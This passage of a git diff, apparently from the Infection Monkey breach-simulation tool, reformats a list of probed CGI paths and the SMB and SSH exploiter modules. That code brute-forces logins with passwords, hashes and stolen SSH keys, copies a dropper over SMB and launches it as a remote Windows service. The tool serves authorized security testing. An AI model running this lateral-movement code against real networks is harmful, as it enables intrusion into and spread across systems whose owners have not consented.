r'/Gozila.cgi', - r'/hitmatic/analyse.cgi', - r'/hp_docs/cgi-bin/index.cgi', - r'/html/cgi-bin/cgicso', - r'/html/cgi-bin/cgicso', - r'/index.cgi', - r'/info.cgi', - r'/infosrch.cgi', - r'/login.cgi', - r'/mailview.cgi', - r'/main.cgi', - r'/megabook/admin.cgi', - r'/ministats/admin.cgi', - r'/mods/apage/apage.cgi', - r'/_mt/mt.cgi', - r'/musicqueue.cgi', - r'/ncbook.cgi', - r'/newpro.cgi', - r'/newsletter.sh', - r'/oem_webstage/cgi-bin/oemapp_cgi', - r'/page.cgi', - r'/parse_xml.cgi', - r'/photodata/manage.cgi', - r'/photo/manage.cgi', - r'/print.cgi', - r'/process_buff.cgi', - r'/process_bug.cgi', - r'/pub/english.cgi', - r'/quikmail/nph-emumail.cgi', - r'/quikstore.cgi', - r'/reviews/newpro.cgi', - r'/ROADS/cgi-bin/search.pl', - r'/sample01.cgi', - r'/sample02.cgi', - r'/sample03.cgi', - r'/sample04.cgi', - r'/sampleposteddata.cgi', - r'/scancfg.cgi', - r'/scancfg.cgi', - r'/servers/link.cgi', - r'/setpasswd.cgi', - r'/SetSecurity.shm', - r'/shop/member_html.cgi', - r'/shop/normal_html.cgi', - r'/site_searcher.cgi', - r'/siteUserMod.cgi', - r'/submit.cgi', - r'/technote/print.cgi', - r'/template.cgi', - r'/test.cgi', - r'/ucsm/isSamInstalled.cgi', - r'/upload.cgi', - r'/userreg.cgi', - r'/users/scripts/submit.cgi', - r'/vood/cgi-bin/vood_view.cgi', - r'/Web_Store/web_store.cgi', - r'/webtools/bonsai/ccvsblame.cgi', - r'/webtools/bonsai/cvsblame.cgi', - r'/webtools/bonsai/cvslog.cgi', - r'/webtools/bonsai/cvsquery.cgi', - r'/webtools/bonsai/cvsqueryform.cgi', - r'/webtools/bonsai/showcheckins.cgi', - r'/wwwadmin.cgi', - r'/wwwboard.cgi', - r'/wwwboard/wwwboard.cgi' + r"/", + r"/admin.cgi", + r"/administrator.cgi", + r"/agora.cgi", + r"/aktivate/cgi-bin/catgy.cgi", + r"/analyse.cgi", + r"/apps/web/vs_diag.cgi", + r"/axis-cgi/buffer/command.cgi", + r"/b2-include/b2edit.showposts.php", + r"/bandwidth/index.cgi", + r"/bigconf.cgi", + r"/cartcart.cgi", + r"/cart.cgi", + r"/ccbill/whereami.cgi", + r"/cgi-bin/14all-1.1.cgi", + r"/cgi-bin/14all.cgi", + r"/cgi-bin/a1disp3.cgi", + r"/cgi-bin/a1stats/a1disp3.cgi", + r"/cgi-bin/a1stats/a1disp4.cgi", + r"/cgi-bin/addbanner.cgi", + r"/cgi-bin/add_ftp.cgi", + r"/cgi-bin/adduser.cgi", + r"/cgi-bin/admin/admin.cgi", + r"/cgi-bin/admin.cgi", + r"/cgi-bin/admin/getparam.cgi", + r"/cgi-bin/adminhot.cgi", + r"/cgi-bin/admin.pl", + r"/cgi-bin/admin/setup.cgi", + r"/cgi-bin/adminwww.cgi", + r"/cgi-bin/af.cgi", + r"/cgi-bin/aglimpse.cgi", + r"/cgi-bin/alienform.cgi", + r"/cgi-bin/AnyBoard.cgi", + r"/cgi-bin/architext_query.cgi", + r"/cgi-bin/astrocam.cgi", + r"/cgi-bin/AT-admin.cgi", + r"/cgi-bin/AT-generate.cgi", + r"/cgi-bin/auction/auction.cgi", + r"/cgi-bin/auktion.cgi", + r"/cgi-bin/ax-admin.cgi", + r"/cgi-bin/ax.cgi", + r"/cgi-bin/axs.cgi", + r"/cgi-bin/badmin.cgi", + r"/cgi-bin/banner.cgi", + r"/cgi-bin/bannereditor.cgi", + r"/cgi-bin/bb-ack.sh", + r"/cgi-bin/bb-histlog.sh", + r"/cgi-bin/bb-hist.sh", + r"/cgi-bin/bb-hostsvc.sh", + r"/cgi-bin/bb-replog.sh", + r"/cgi-bin/bb-rep.sh", + r"/cgi-bin/bbs_forum.cgi", + r"/cgi-bin/bigconf.cgi", + r"/cgi-bin/bizdb1-search.cgi", + r"/cgi-bin/blog/mt-check.cgi", + r"/cgi-bin/blog/mt-load.cgi", + r"/cgi-bin/bnbform.cgi", + r"/cgi-bin/book.cgi", + r"/cgi-bin/boozt/admin/index.cgi", + r"/cgi-bin/bsguest.cgi", + r"/cgi-bin/bslist.cgi", + r"/cgi-bin/build.cgi", + r"/cgi-bin/bulk/bulk.cgi", + r"/cgi-bin/cached_feed.cgi", + r"/cgi-bin/cachemgr.cgi", + r"/cgi-bin/calendar/index.cgi", + r"/cgi-bin/cartmanager.cgi", + r"/cgi-bin/cbmc/forums.cgi", + r"/cgi-bin/ccvsblame.cgi", + r"/cgi-bin/c_download.cgi", + r"/cgi-bin/cgforum.cgi", + r"/cgi-bin/.cgi", + r"/cgi-bin/cgi_process", + r"/cgi-bin/classified.cgi", + r"/cgi-bin/classifieds.cgi", + r"/cgi-bin/classifieds/classifieds.cgi", + r"/cgi-bin/classifieds/index.cgi", + r"/cgi-bin/.cobalt/alert/service.cgi", + r"/cgi-bin/.cobalt/message/message.cgi", + r"/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi", + r"/cgi-bin/commandit.cgi", + r"/cgi-bin/commerce.cgi", + r"/cgi-bin/common/listrec.pl", + r"/cgi-bin/compatible.cgi", + r"/cgi-bin/Count.cgi", + r"/cgi-bin/csChatRBox.cgi", + r"/cgi-bin/csGuestBook.cgi", + r"/cgi-bin/csLiveSupport.cgi", + r"/cgi-bin/CSMailto.cgi", + r"/cgi-bin/CSMailto/CSMailto.cgi", + r"/cgi-bin/csNews.cgi", + r"/cgi-bin/csNewsPro.cgi", + r"/cgi-bin/csPassword.cgi", + r"/cgi-bin/csPassword/csPassword.cgi", + r"/cgi-bin/csSearch.cgi", + r"/cgi-bin/csv_db.cgi", + r"/cgi-bin/cvsblame.cgi", + r"/cgi-bin/cvslog.cgi", + r"/cgi-bin/cvsquery.cgi", + r"/cgi-bin/cvsqueryform.cgi", + r"/cgi-bin/day5datacopier.cgi", + r"/cgi-bin/day5datanotifier.cgi", + r"/cgi-bin/db_manager.cgi", + r"/cgi-bin/dbman/db.cgi", + r"/cgi-bin/dcforum.cgi", + r"/cgi-bin/dcshop.cgi", + r"/cgi-bin/dfire.cgi", + r"/cgi-bin/diagnose.cgi", + r"/cgi-bin/dig.cgi", + r"/cgi-bin/directorypro.cgi", + r"/cgi-bin/download.cgi", + r"/cgi-bin/e87_Ba79yo87.cgi", + r"/cgi-bin/emu/html/emumail.cgi", + r"/cgi-bin/emumail.cgi", + r"/cgi-bin/emumail/emumail.cgi", + r"/cgi-bin/enter.cgi", + r"/cgi-bin/environ.cgi", + r"/cgi-bin/ezadmin.cgi", + r"/cgi-bin/ezboard.cgi", + r"/cgi-bin/ezman.cgi", + r"/cgi-bin/ezshopper2/loadpage.cgi", + r"/cgi-bin/ezshopper3/loadpage.cgi", + r"/cgi-bin/ezshopper/loadpage.cgi", + r"/cgi-bin/ezshopper/search.cgi", + r"/cgi-bin/faqmanager.cgi", + r"/cgi-bin/FileSeek2.cgi", + r"/cgi-bin/FileSeek.cgi", + r"/cgi-bin/finger.cgi", + r"/cgi-bin/flexform.cgi", + r"/cgi-bin/fom.cgi", + r"/cgi-bin/fom/fom.cgi", + r"/cgi-bin/FormHandler.cgi", + r"/cgi-bin/FormMail.cgi", + r"/cgi-bin/gbadmin.cgi", + r"/cgi-bin/gbook/gbook.cgi", + r"/cgi-bin/generate.cgi", + r"/cgi-bin/getdoc.cgi", + r"/cgi-bin/gH.cgi", + r"/cgi-bin/gm-authors.cgi", + r"/cgi-bin/gm.cgi", + r"/cgi-bin/gm-cplog.cgi", + r"/cgi-bin/guestbook.cgi", + r"/cgi-bin/handler", + r"/cgi-bin/handler.cgi", + r"/cgi-bin/handler/netsonar", + r"/cgi-bin/hitview.cgi", + r"/cgi-bin/hsx.cgi", + r"/cgi-bin/html2chtml.cgi", + r"/cgi-bin/html2wml.cgi", + r"/cgi-bin/htsearch.cgi", + r"/cgi-bin/hw.sh", # testing + r"/cgi-bin/icat", + r"/cgi-bin/if/admin/nph-build.cgi", + r"/cgi-bin/ikonboard/help.cgi", + r"/cgi-bin/ImageFolio/admin/admin.cgi", + r"/cgi-bin/imageFolio.cgi", + r"/cgi-bin/index.cgi", + r"/cgi-bin/infosrch.cgi", + r"/cgi-bin/jammail.pl", + r"/cgi-bin/journal.cgi", + r"/cgi-bin/lastlines.cgi", + r"/cgi-bin/loadpage.cgi", + r"/cgi-bin/login.cgi", + r"/cgi-bin/logit.cgi", + r"/cgi-bin/log-reader.cgi", + r"/cgi-bin/lookwho.cgi", + r"/cgi-bin/lwgate.cgi", + r"/cgi-bin/MachineInfo", + r"/cgi-bin/MachineInfo", + r"/cgi-bin/magiccard.cgi", + r"/cgi-bin/mail/emumail.cgi", + r"/cgi-bin/maillist.cgi", + r"/cgi-bin/mailnews.cgi", + r"/cgi-bin/mail/nph-mr.cgi", + r"/cgi-bin/main.cgi", + r"/cgi-bin/main_menu.pl", + r"/cgi-bin/man.sh", + r"/cgi-bin/mini_logger.cgi", + r"/cgi-bin/mmstdod.cgi", + r"/cgi-bin/moin.cgi", + r"/cgi-bin/mojo/mojo.cgi", + r"/cgi-bin/mrtg.cgi", + r"/cgi-bin/mt.cgi", + r"/cgi-bin/mt/mt.cgi", + r"/cgi-bin/mt/mt-check.cgi", + r"/cgi-bin/mt/mt-load.cgi", + r"/cgi-bin/mt-static/mt-check.cgi", + r"/cgi-bin/mt-static/mt-load.cgi", + r"/cgi-bin/musicqueue.cgi", + r"/cgi-bin/myguestbook.cgi", + r"/cgi-bin/.namazu.cgi", + r"/cgi-bin/nbmember.cgi", + r"/cgi-bin/netauth.cgi", + r"/cgi-bin/netpad.cgi", + r"/cgi-bin/newsdesk.cgi", + r"/cgi-bin/nlog-smb.cgi", + r"/cgi-bin/nph-emumail.cgi", + r"/cgi-bin/nph-exploitscanget.cgi", + r"/cgi-bin/nph-publish.cgi", + r"/cgi-bin/nph-test.cgi", + r"/cgi-bin/pagelog.cgi", + r"/cgi-bin/pbcgi.cgi", + r"/cgi-bin/perlshop.cgi", + r"/cgi-bin/pfdispaly.cgi", + r"/cgi-bin/pfdisplay.cgi", + r"/cgi-bin/phf.cgi", + r"/cgi-bin/photo/manage.cgi", + r"/cgi-bin/photo/protected/manage.cgi", + r"/cgi-bin/php-cgi", + r"/cgi-bin/php.cgi", + r"/cgi-bin/php.fcgi", + r"/cgi-bin/ping.sh", + r"/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi", + r"/cgi-bin/pollssi.cgi", + r"/cgi-bin/postcards.cgi", + r"/cgi-bin/powerup/r.cgi", + r"/cgi-bin/printenv", + r"/cgi-bin/probecontrol.cgi", + r"/cgi-bin/profile.cgi", + r"/cgi-bin/publisher/search.cgi", + r"/cgi-bin/quickstore.cgi", + r"/cgi-bin/quizme.cgi", + r"/cgi-bin/ratlog.cgi", + r"/cgi-bin/r.cgi", + r"/cgi-bin/register.cgi", + r"/cgi-bin/replicator/webpage.cgi/", + r"/cgi-bin/responder.cgi", + r"/cgi-bin/robadmin.cgi", + r"/cgi-bin/robpoll.cgi", + r"/cgi-bin/rtpd.cgi", + r"/cgi-bin/sbcgi/sitebuilder.cgi", + r"/cgi-bin/scoadminreg.cgi", + r"/cgi-bin-sdb/printenv", + r"/cgi-bin/sdbsearch.cgi", + r"/cgi-bin/search", + r"/cgi-bin/search.cgi", + r"/cgi-bin/search/search.cgi", + r"/cgi-bin/sendform.cgi", + r"/cgi-bin/shop.cgi", + r"/cgi-bin/shopper.cgi", + r"/cgi-bin/shopplus.cgi", + r"/cgi-bin/showcheckins.cgi", + r"/cgi-bin/simplestguest.cgi", + r"/cgi-bin/simplestmail.cgi", + r"/cgi-bin/smartsearch.cgi", + r"/cgi-bin/smartsearch/smartsearch.cgi", + r"/cgi-bin/snorkerz.bat", + r"/cgi-bin/snorkerz.bat", + r"/cgi-bin/snorkerz.cmd", + r"/cgi-bin/snorkerz.cmd", + r"/cgi-bin/sojourn.cgi", + r"/cgi-bin/spin_client.cgi", + r"/cgi-bin/start.cgi", + r"/cgi-bin/status", + r"/cgi-bin/status_cgi", + r"/cgi-bin/store/agora.cgi", + r"/cgi-bin/store.cgi", + r"/cgi-bin/store/index.cgi", + r"/cgi-bin/survey.cgi", + r"/cgi-bin/sync.cgi", + r"/cgi-bin/talkback.cgi", + r"/cgi-bin/technote/main.cgi", + r"/cgi-bin/test2.pl", + r"/cgi-bin/test-cgi", + r"/cgi-bin/test.cgi", + r"/cgi-bin/testing_whatever", + r"/cgi-bin/test/test.cgi", + r"/cgi-bin/tidfinder.cgi", + r"/cgi-bin/tigvote.cgi", + r"/cgi-bin/title.cgi", + r"/cgi-bin/top.cgi", + r"/cgi-bin/traffic.cgi", + r"/cgi-bin/troops.cgi", + r"/cgi-bin/ttawebtop.cgi/", + r"/cgi-bin/ultraboard.cgi", + r"/cgi-bin/upload.cgi", + r"/cgi-bin/urlcount.cgi", + r"/cgi-bin/viewcvs.cgi", + r"/cgi-bin/view_help.cgi", + r"/cgi-bin/viralator.cgi", + r"/cgi-bin/virgil.cgi", + r"/cgi-bin/vote.cgi", + r"/cgi-bin/vpasswd.cgi", + r"/cgi-bin/way-board.cgi", + r"/cgi-bin/way-board/way-board.cgi", + r"/cgi-bin/webbbs.cgi", + r"/cgi-bin/webcart/webcart.cgi", + r"/cgi-bin/webdist.cgi", + r"/cgi-bin/webif.cgi", + r"/cgi-bin/webmail/html/emumail.cgi", + r"/cgi-bin/webmap.cgi", + r"/cgi-bin/webspirs.cgi", + r"/cgi-bin/Web_Store/web_store.cgi", + r"/cgi-bin/whois.cgi", + r"/cgi-bin/whois_raw.cgi", + r"/cgi-bin/whois/whois.cgi", + r"/cgi-bin/wrap", + r"/cgi-bin/wrap.cgi", + r"/cgi-bin/wwwboard.cgi.cgi", + r"/cgi-bin/YaBB/YaBB.cgi", + r"/cgi-bin/zml.cgi", + r"/cgi-mod/index.cgi", + r"/cgis/wwwboard/wwwboard.cgi", + r"/cgi-sys/addalink.cgi", + r"/cgi-sys/defaultwebpage.cgi", + r"/cgi-sys/domainredirect.cgi", + r"/cgi-sys/entropybanner.cgi", + r"/cgi-sys/entropysearch.cgi", + r"/cgi-sys/FormMail-clone.cgi", + r"/cgi-sys/helpdesk.cgi", + r"/cgi-sys/mchat.cgi", + r"/cgi-sys/randhtml.cgi", + r"/cgi-sys/realhelpdesk.cgi", + r"/cgi-sys/realsignup.cgi", + r"/cgi-sys/signup.cgi", + r"/connector.cgi", + r"/cp/rac/nsManager.cgi", + r"/create_release.sh", + r"/CSNews.cgi", + r"/csPassword.cgi", + r"/dcadmin.cgi", + r"/dcboard.cgi", + r"/dcforum.cgi", + r"/dcforum/dcforum.cgi", + r"/debuff.cgi", + r"/debug.cgi", + r"/details.cgi", + r"/edittag/edittag.cgi", + r"/emumail.cgi", + r"/enter_buff.cgi", + r"/enter_bug.cgi", + r"/ez2000/ezadmin.cgi", + r"/ez2000/ezboard.cgi", + r"/ez2000/ezman.cgi", + r"/fcgi-bin/echo", + r"/fcgi-bin/echo", + r"/fcgi-bin/echo2", + r"/fcgi-bin/echo2", + r"/Gozila.cgi", + r"/hitmatic/analyse.cgi", + r"/hp_docs/cgi-bin/index.cgi", + r"/html/cgi-bin/cgicso", + r"/html/cgi-bin/cgicso", + r"/index.cgi", + r"/info.cgi", + r"/infosrch.cgi", + r"/login.cgi", + r"/mailview.cgi", + r"/main.cgi", + r"/megabook/admin.cgi", + r"/ministats/admin.cgi", + r"/mods/apage/apage.cgi", + r"/_mt/mt.cgi", + r"/musicqueue.cgi", + r"/ncbook.cgi", + r"/newpro.cgi", + r"/newsletter.sh", + r"/oem_webstage/cgi-bin/oemapp_cgi", + r"/page.cgi", + r"/parse_xml.cgi", + r"/photodata/manage.cgi", + r"/photo/manage.cgi", + r"/print.cgi", + r"/process_buff.cgi", + r"/process_bug.cgi", + r"/pub/english.cgi", + r"/quikmail/nph-emumail.cgi", + r"/quikstore.cgi", + r"/reviews/newpro.cgi", + r"/ROADS/cgi-bin/search.pl", + r"/sample01.cgi", + r"/sample02.cgi", + r"/sample03.cgi", + r"/sample04.cgi", + r"/sampleposteddata.cgi", + r"/scancfg.cgi", + r"/scancfg.cgi", + r"/servers/link.cgi", + r"/setpasswd.cgi", + r"/SetSecurity.shm", + r"/shop/member_html.cgi", + r"/shop/normal_html.cgi", + r"/site_searcher.cgi", + r"/siteUserMod.cgi", + r"/submit.cgi", + r"/technote/print.cgi", + r"/template.cgi", + r"/test.cgi", + r"/ucsm/isSamInstalled.cgi", + r"/upload.cgi", + r"/userreg.cgi", + r"/users/scripts/submit.cgi", + r"/vood/cgi-bin/vood_view.cgi", + r"/Web_Store/web_store.cgi", + r"/webtools/bonsai/ccvsblame.cgi", + r"/webtools/bonsai/cvsblame.cgi", + r"/webtools/bonsai/cvslog.cgi", + r"/webtools/bonsai/cvsquery.cgi", + r"/webtools/bonsai/cvsqueryform.cgi", + r"/webtools/bonsai/showcheckins.cgi", + r"/wwwadmin.cgi", + r"/wwwboard.cgi", + r"/wwwboard/wwwboard.cgi", ) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index c6e2424c1b6..4b5e941f8bf 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -5,10 +5,13 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import ( + build_monkey_commandline, + get_monkey_depth, + get_target_monkey, +) from infection_monkey.exploit.tools.smb_tools import SmbTools -from infection_monkey.model import (DROPPER_CMDLINE_DETACHED_WINDOWS, - MONKEY_CMDLINE_DETACHED_WINDOWS) +from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port from infection_monkey.telemetry.attack.t1035_telem import T1035Telem @@ -17,12 +20,12 @@ class SmbExploiter(HostExploiter): - _TARGET_OS_TYPE = ['windows'] + _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - _EXPLOITED_SERVICE = 'SMB' + _EXPLOITED_SERVICE = "SMB" KNOWN_PROTOCOLS = { - '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), - '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), + "139/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 139), + "445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445), } USE_KERBEROS = False @@ -34,7 +37,7 @@ def is_os_supported(self): if super(SmbExploiter, self).is_os_supported(): return True - if not self.host.os.get('type'): + if not self.host.os.get("type"): is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() @@ -42,8 +45,8 @@ def is_os_supported(self): else: is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139) if is_nb_open: - self.host.os['type'] = 'windows' - return self.host.os.get('type') in self._TARGET_OS_TYPE + self.host.os["type"] = "windows" + return self.host.os.get("type") in self._TARGET_OS_TYPE return False def _exploit_host(self): @@ -59,25 +62,34 @@ def _exploit_host(self): for user, password, lm_hash, ntlm_hash in creds: try: # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file(self.host, - src_path, - self._config.dropper_target_path_win_32, - user, - password, - lm_hash, - ntlm_hash, - self._config.smb_download_timeout) + remote_full_path = SmbTools.copy_file( + self.host, + src_path, + self._config.dropper_target_path_win_32, + user, + password, + lm_hash, + ntlm_hash, + self._config.smb_download_timeout, + ) if remote_full_path is not None: - LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) %s : (SHA-512) %s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash)) + LOG.debug( + "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) %s : (SHA-512) %s)", + self.host, + user, + self._config.hash_sensitive_data(password), + self._config.hash_sensitive_data(lm_hash), + self._config.hash_sensitive_data(ntlm_hash), + ) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) - self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], - SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) + self.add_vuln_port( + "%s or %s" + % ( + SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + ) + ) exploited = True break else: @@ -93,7 +105,8 @@ def _exploit_host(self): self._config.hash_sensitive_data(password), self._config.hash_sensitive_data(lm_hash), self._config.hash_sensitive_data(ntlm_hash), - exc) + exc, + ) continue if not exploited: @@ -103,24 +116,29 @@ def _exploit_host(self): self.set_vulnerable_port() # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): - cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, - self.vulnerable_port, - self._config.dropper_target_path_win_32) + cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { + "dropper_path": remote_full_path + } + build_monkey_commandline( + self.host, + get_monkey_depth() - 1, + self.vulnerable_port, + self._config.dropper_target_path_win_32, + ) else: - cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ - build_monkey_commandline(self.host, - get_monkey_depth() - 1, - vulnerable_port=self.vulnerable_port) + cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { + "monkey_path": remote_full_path + } + build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port + ) smb_conn = False for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) rpctransport.setRemoteHost(self.host.ip_addr) - if hasattr(rpctransport, 'set_credentials'): + if hasattr(rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. - rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None) + rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() @@ -128,7 +146,12 @@ def _exploit_host(self): try: scmr_rpc.connect() except Exception as exc: - LOG.debug("Can't connect to SCM on exploited machine %r port %s : %s", self.host, port, exc) + LOG.debug( + "Can't connect to SCM on exploited machine %r port %s : %s", + self.host, + port, + exc, + ) continue smb_conn = rpctransport.get_smb_connection() @@ -140,12 +163,17 @@ def _exploit_host(self): smb_conn.setTimeout(100000) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(scmr_rpc) - sc_handle = resp['lpScHandle'] + sc_handle = resp["lpScHandle"] # start the monkey using the SCM - resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name, - lpBinaryPathName=cmdline) - service = resp['lpServiceHandle'] + resp = scmr.hRCreateServiceW( + scmr_rpc, + sc_handle, + self._config.smb_service_name, + self._config.smb_service_name, + lpBinaryPathName=cmdline, + ) + service = resp["lpServiceHandle"] try: scmr.hRStartServiceW(scmr_rpc, service) status = ScanStatus.USED @@ -156,17 +184,26 @@ def _exploit_host(self): scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, self.host, cmdline) - - self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], - SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) + LOG.info( + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + remote_full_path, + self.host, + cmdline, + ) + + self.add_vuln_port( + "%s or %s" + % ( + SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + ) + ) return True def set_vulnerable_port(self): - if 'tcp-445' in self.host.services: + if "tcp-445" in self.host.services: self.vulnerable_port = "445" - elif 'tcp-139' in self.host.services: + elif "tcp-139" in self.host.services: self.vulnerable_port = "139" else: self.vulnerable_port = None diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index b96a6c2b67e..0f5af3258af 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -9,13 +9,17 @@ from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import ( + build_monkey_commandline, + get_monkey_depth, + get_target_monkey, +) from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem -__author__ = 'hoffer' +__author__ = "hoffer" LOG = logging.getLogger(__name__) SSH_PORT = 22 @@ -23,9 +27,9 @@ class SSHExploiter(HostExploiter): - _TARGET_OS_TYPE = ['linux', None] + _TARGET_OS_TYPE = ["linux", None] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - _EXPLOITED_SERVICE = 'SSH' + _EXPLOITED_SERVICE = "SSH" def __init__(self, host): super(SSHExploiter, self).__init__(host) @@ -42,29 +46,27 @@ def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: for user, ssh_key_pair in user_ssh_key_pairs: # Creating file-like private key for paramiko - pkey = io.StringIO(ssh_key_pair['private_key']) - ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip']) + pkey = io.StringIO(ssh_key_pair["private_key"]) + ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"]) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) try: pkey = paramiko.RSAKey.from_private_key(pkey) - except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException): + except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): LOG.error("Failed reading ssh key") try: - ssh.connect(self.host.ip_addr, - username=user, - pkey=pkey, - port=port) - LOG.debug("Successfully logged in %s using %s users private key", - self.host, ssh_string) + ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port) + LOG.debug( + "Successfully logged in %s using %s users private key", self.host, ssh_string + ) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except Exception: ssh.close() - LOG.debug("Error logging into victim %r with %s" - " private key", self.host, - ssh_string) + LOG.debug( + "Error logging into victim %r with %s" " private key", self.host, ssh_string + ) self.report_login_attempt(False, user, ssh_key=ssh_string) continue raise FailedExploitationError @@ -77,21 +79,27 @@ def exploit_with_login_creds(self, port) -> paramiko.SSHClient: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) try: - ssh.connect(self.host.ip_addr, - username=user, - password=current_password, - port=port) - - LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", - self.host, user, self._config.hash_sensitive_data(current_password)) + ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) + + LOG.debug( + "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", + self.host, + user, + self._config.hash_sensitive_data(current_password), + ) self.add_vuln_port(port) self.report_login_attempt(True, user, current_password) return ssh except Exception as exc: - LOG.debug("Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", self.host, - user, self._config.hash_sensitive_data(current_password), exc) + LOG.debug( + "Error logging into victim %r with user" + " %s and password (SHA-512) '%s': (%s)", + self.host, + user, + self._config.hash_sensitive_data(current_password), + exc, + ) self.report_login_attempt(False, user, current_password) ssh.close() continue @@ -102,8 +110,8 @@ def _exploit_host(self): port = SSH_PORT # if ssh banner found on different port, use that port. for servkey, servdata in list(self.host.services.items()): - if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): - port = int(servkey.replace('tcp-', '')) + if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): + port = int(servkey.replace("tcp-", "")) is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: @@ -119,12 +127,12 @@ def _exploit_host(self): LOG.debug("Exploiter SSHExploiter is giving up...") return False - if not self.host.os.get('type'): + if not self.host.os.get("type"): try: - _, stdout, _ = ssh.exec_command('uname -o') + _, stdout, _ = ssh.exec_command("uname -o") uname_os = stdout.read().lower().strip().decode() - if 'linux' in uname_os: - self.host.os['type'] = 'linux' + if "linux" in uname_os: + self.host.os["type"] = "linux" else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False @@ -132,21 +140,25 @@ def _exploit_host(self): LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc) return False - if not self.host.os.get('machine'): + if not self.host.os.get("machine"): try: - _, stdout, _ = ssh.exec_command('uname -m') + _, stdout, _ = ssh.exec_command("uname -m") uname_machine = stdout.read().lower().strip().decode() - if '' != uname_machine: - self.host.os['machine'] = uname_machine + if "" != uname_machine: + self.host.os["machine"] = uname_machine except Exception as exc: LOG.debug("Error running uname machine command on victim %r: (%s)", self.host, exc) if self.skip_exist: - _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux) + 